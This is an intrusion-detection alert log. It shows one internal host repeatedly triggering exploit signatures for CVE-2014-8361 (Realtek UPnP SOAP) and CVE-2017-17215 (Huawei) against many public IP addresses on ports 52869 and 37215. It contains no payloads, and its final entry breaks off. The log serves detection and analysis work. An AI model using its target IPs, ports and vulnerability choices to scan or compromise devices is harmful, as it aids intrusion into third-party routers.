ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 74.130.124.117

Timestamp:	07/20/24-23:01:45.350108
SID:	2831300
Source Port:	34098
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.106.41.174

Timestamp:	07/20/24-23:01:21.139934
SID:	2027339
Source Port:	59082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.107.137.70

Timestamp:	07/20/24-23:01:53.085271
SID:	2027339
Source Port:	48530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 100.7.152.54

Timestamp:	07/20/24-23:01:24.898476
SID:	2835222
Source Port:	50252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 14.249.111.18

Timestamp:	07/20/24-23:01:41.722161
SID:	2831300
Source Port:	51824
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 132.70.95.60

Timestamp:	07/20/24-23:00:57.221910
SID:	2829579
Source Port:	51880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.77.89.150

Timestamp:	07/20/24-23:01:54.345402
SID:	2025132
Source Port:	39066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 164.28.92.86

Timestamp:	07/20/24-23:01:51.360754
SID:	2831300
Source Port:	33704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.246.129.121

Timestamp:	07/20/24-23:01:02.048113
SID:	2829579
Source Port:	50466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.233.159.133

Timestamp:	07/20/24-23:01:24.904906
SID:	2829579
Source Port:	41726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.175.175.175

Timestamp:	07/20/24-23:01:53.064325
SID:	2027339
Source Port:	59782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.241.168.134

Timestamp:	07/20/24-23:01:06.988055
SID:	2835222
Source Port:	59684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.216.86.224

Timestamp:	07/20/24-23:01:14.006983
SID:	2027339
Source Port:	45886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.70.14.160

Timestamp:	07/20/24-23:01:13.826513
SID:	2025132
Source Port:	51264
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.205.206.142

Timestamp:	07/20/24-23:01:42.714534
SID:	2027339
Source Port:	44018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.142.177.164

Timestamp:	07/20/24-23:01:55.105161
SID:	2025132
Source Port:	43056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.95.167.27

Timestamp:	07/20/24-23:01:34.045144
SID:	2835222
Source Port:	38872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.122.165.99

Timestamp:	07/20/24-23:01:40.336908
SID:	2835222
Source Port:	53880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.207.171.251

Timestamp:	07/20/24-23:01:31.979752
SID:	2829579
Source Port:	48092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 121.166.138.14

Timestamp:	07/20/24-23:01:26.145029
SID:	2025132
Source Port:	33326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.143.196.120

Timestamp:	07/20/24-23:00:57.221570
SID:	2829579
Source Port:	53302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.15.94.102

Timestamp:	07/20/24-23:01:20.096752
SID:	2829579
Source Port:	40856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 167.4.219.92

Timestamp:	07/20/24-23:01:42.704267
SID:	2831300
Source Port:	44400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 144.44.56.47

Timestamp:	07/20/24-23:01:40.307219
SID:	2829579
Source Port:	54792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.130.245.154

Timestamp:	07/20/24-23:01:42.136561
SID:	2831300
Source Port:	60018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.146.199.168

Timestamp:	07/20/24-23:01:20.593003
SID:	2027339
Source Port:	49616
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.130.206.241

Timestamp:	07/20/24-23:01:42.500263
SID:	2027339
Source Port:	38876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.119.6.34

Timestamp:	07/20/24-23:01:47.729778
SID:	2027339
Source Port:	54816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.29.217.143

Timestamp:	07/20/24-23:01:58.751559
SID:	2025132
Source Port:	46830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 9.70.14.160

Timestamp:	07/20/24-23:01:21.099180
SID:	2831300
Source Port:	51752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.79.140.185

Timestamp:	07/20/24-23:01:42.477986
SID:	2027339
Source Port:	39374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.17.179.230

Timestamp:	07/20/24-23:01:42.250039
SID:	2027339
Source Port:	55558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.53.37.254

Timestamp:	07/20/24-23:01:01.623383
SID:	2027339
Source Port:	56122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.122.170.150

Timestamp:	07/20/24-23:01:42.898615
SID:	2025132
Source Port:	47258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.92.250.125

Timestamp:	07/20/24-23:01:01.313651
SID:	2027339
Source Port:	41252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 220.78.147.215

Timestamp:	07/20/24-23:01:07.033766
SID:	2829579
Source Port:	51332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.147.165.127

Timestamp:	07/20/24-23:01:10.698072
SID:	2025132
Source Port:	45622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 141.24.192.29

Timestamp:	07/20/24-23:01:20.132103
SID:	2835222
Source Port:	35824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.144.253.27

Timestamp:	07/20/24-23:01:44.416791
SID:	2025132
Source Port:	47972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.191.4.143

Timestamp:	07/20/24-23:01:59.137101
SID:	2831300
Source Port:	60448
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.34.170.95

Timestamp:	07/20/24-23:01:24.877747
SID:	2829579
Source Port:	52436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.128.111.151

Timestamp:	07/20/24-23:01:41.318733
SID:	2027339
Source Port:	59840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.100.128.69

Timestamp:	07/20/24-23:01:04.039129
SID:	2829579
Source Port:	32866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.230.249.224

Timestamp:	07/20/24-23:02:01.796252
SID:	2027339
Source Port:	45564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.113.160.230

Timestamp:	07/20/24-23:00:59.163619
SID:	2829579
Source Port:	52552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 139.56.86.16

Timestamp:	07/20/24-23:01:50.380701
SID:	2025132
Source Port:	40426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.82.234.209

Timestamp:	07/20/24-23:01:47.995202
SID:	2027339
Source Port:	60130
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 147.3.130.23

Timestamp:	07/20/24-23:01:14.117066
SID:	2835222
Source Port:	46970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.66.149.229

Timestamp:	07/20/24-23:01:44.565131
SID:	2027339
Source Port:	39708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 19.58.9.63

Timestamp:	07/20/24-23:01:20.149798
SID:	2829579
Source Port:	47014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 168.229.219.185

Timestamp:	07/20/24-23:01:08.663245
SID:	2831300
Source Port:	36028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.200.249.59

Timestamp:	07/20/24-23:01:42.962388
SID:	2027339
Source Port:	42806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.69.166.230

Timestamp:	07/20/24-23:02:06.767377
SID:	2831300
Source Port:	60718
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.168.191.164

Timestamp:	07/20/24-23:01:52.766296
SID:	2027339
Source Port:	44980
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.3.82.5

Timestamp:	07/20/24-23:01:47.644828
SID:	2027339
Source Port:	45610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.102.125.164

Timestamp:	07/20/24-23:01:42.662466
SID:	2027339
Source Port:	47294
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 66.43.237.112

Timestamp:	07/20/24-23:01:44.362240
SID:	2025132
Source Port:	59436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.32.17.115

Timestamp:	07/20/24-23:00:57.221338
SID:	2829579
Source Port:	47982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.36.226.221

Timestamp:	07/20/24-23:01:42.699478
SID:	2027339
Source Port:	35692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.9.81.218

Timestamp:	07/20/24-23:01:58.249114
SID:	2027339
Source Port:	46940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.50.33.93

Timestamp:	07/20/24-23:01:00.635367
SID:	2835222
Source Port:	60530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.238.106.168

Timestamp:	07/20/24-23:01:43.023857
SID:	2831300
Source Port:	45074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.247.9.98

Timestamp:	07/20/24-23:01:27.650969
SID:	2829579
Source Port:	54752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.243.36.237

Timestamp:	07/20/24-23:01:41.549051
SID:	2027339
Source Port:	42536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.241.192.98

Timestamp:	07/20/24-23:01:48.932731
SID:	2027339
Source Port:	54026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.178.20.121

Timestamp:	07/20/24-23:01:48.118060
SID:	2027339
Source Port:	49534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.177.146.54

Timestamp:	07/20/24-23:01:27.664887
SID:	2835222
Source Port:	49380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.160.238.67

Timestamp:	07/20/24-23:01:41.722161
SID:	2025132
Source Port:	51006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 79.113.232.226

Timestamp:	07/20/24-23:01:55.928013
SID:	2831300
Source Port:	48608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.42.182.153

Timestamp:	07/20/24-23:02:03.032025
SID:	2027339
Source Port:	53862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.180.134

Timestamp:	07/20/24-23:01:04.227976
SID:	2835222
Source Port:	39874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.230.74.224

Timestamp:	07/20/24-23:01:20.184321
SID:	2829579
Source Port:	46508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.88.48.35

Timestamp:	07/20/24-23:01:44.713195
SID:	2027339
Source Port:	58376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.168.25.83

Timestamp:	07/20/24-23:01:58.202290
SID:	2025132
Source Port:	34350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.240.0.142

Timestamp:	07/20/24-23:01:21.931985
SID:	2829579
Source Port:	51232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.114.230.189

Timestamp:	07/20/24-23:01:08.562013
SID:	2027339
Source Port:	55056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.148.206.73

Timestamp:	07/20/24-23:01:40.311124
SID:	2829579
Source Port:	37448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.203.103.36

Timestamp:	07/20/24-23:01:50.280308
SID:	2831300
Source Port:	37410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.17.76.254

Timestamp:	07/20/24-23:01:59.707283
SID:	2027339
Source Port:	38118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.160.10.25

Timestamp:	07/20/24-23:01:44.944699
SID:	2027339
Source Port:	56168
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 176.129.124.225

Timestamp:	07/20/24-23:01:54.405308
SID:	2025132
Source Port:	47414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.190.123.93

Timestamp:	07/20/24-23:01:08.640831
SID:	2027339
Source Port:	35026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 80.7.39.33

Timestamp:	07/20/24-23:01:41.290281
SID:	2025132
Source Port:	54992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 172.173.247.102

Timestamp:	07/20/24-23:02:09.704983
SID:	2025132
Source Port:	56436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 191.56.81.141

Timestamp:	07/20/24-23:01:47.163877
SID:	2831300
Source Port:	38452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.126.39.49

Timestamp:	07/20/24-23:01:11.180811
SID:	2025132
Source Port:	40870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.117.47.181

Timestamp:	07/20/24-23:01:25.994344
SID:	2027339
Source Port:	37924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 41.3.4.242

Timestamp:	07/20/24-23:01:48.286177
SID:	2831300
Source Port:	59364
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.84.70.245

Timestamp:	07/20/24-23:01:02.066908
SID:	2835222
Source Port:	55990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.128.152.66

Timestamp:	07/20/24-23:01:06.990165
SID:	2835222
Source Port:	45840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.141.230.31

Timestamp:	07/20/24-23:01:02.066908
SID:	2829579
Source Port:	54644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 61.117.29.155

Timestamp:	07/20/24-23:00:57.221802
SID:	2835222
Source Port:	43520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.122.28.196

Timestamp:	07/20/24-23:01:04.094795
SID:	2829579
Source Port:	48598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.50.145.107

Timestamp:	07/20/24-23:01:00.637175
SID:	2835222
Source Port:	36270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.43.237.112

Timestamp:	07/20/24-23:01:48.102919
SID:	2027339
Source Port:	60570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.238.134.176

Timestamp:	07/20/24-23:01:26.131973
SID:	2025132
Source Port:	39576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.211.124.159

Timestamp:	07/20/24-23:01:48.701126
SID:	2831300
Source Port:	38500
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 99.220.126.213

Timestamp:	07/20/24-23:01:42.912947
SID:	2025132
Source Port:	44764
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 128.242.86.47

Timestamp:	07/20/24-23:01:44.756264
SID:	2831300
Source Port:	52646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.189.194.244

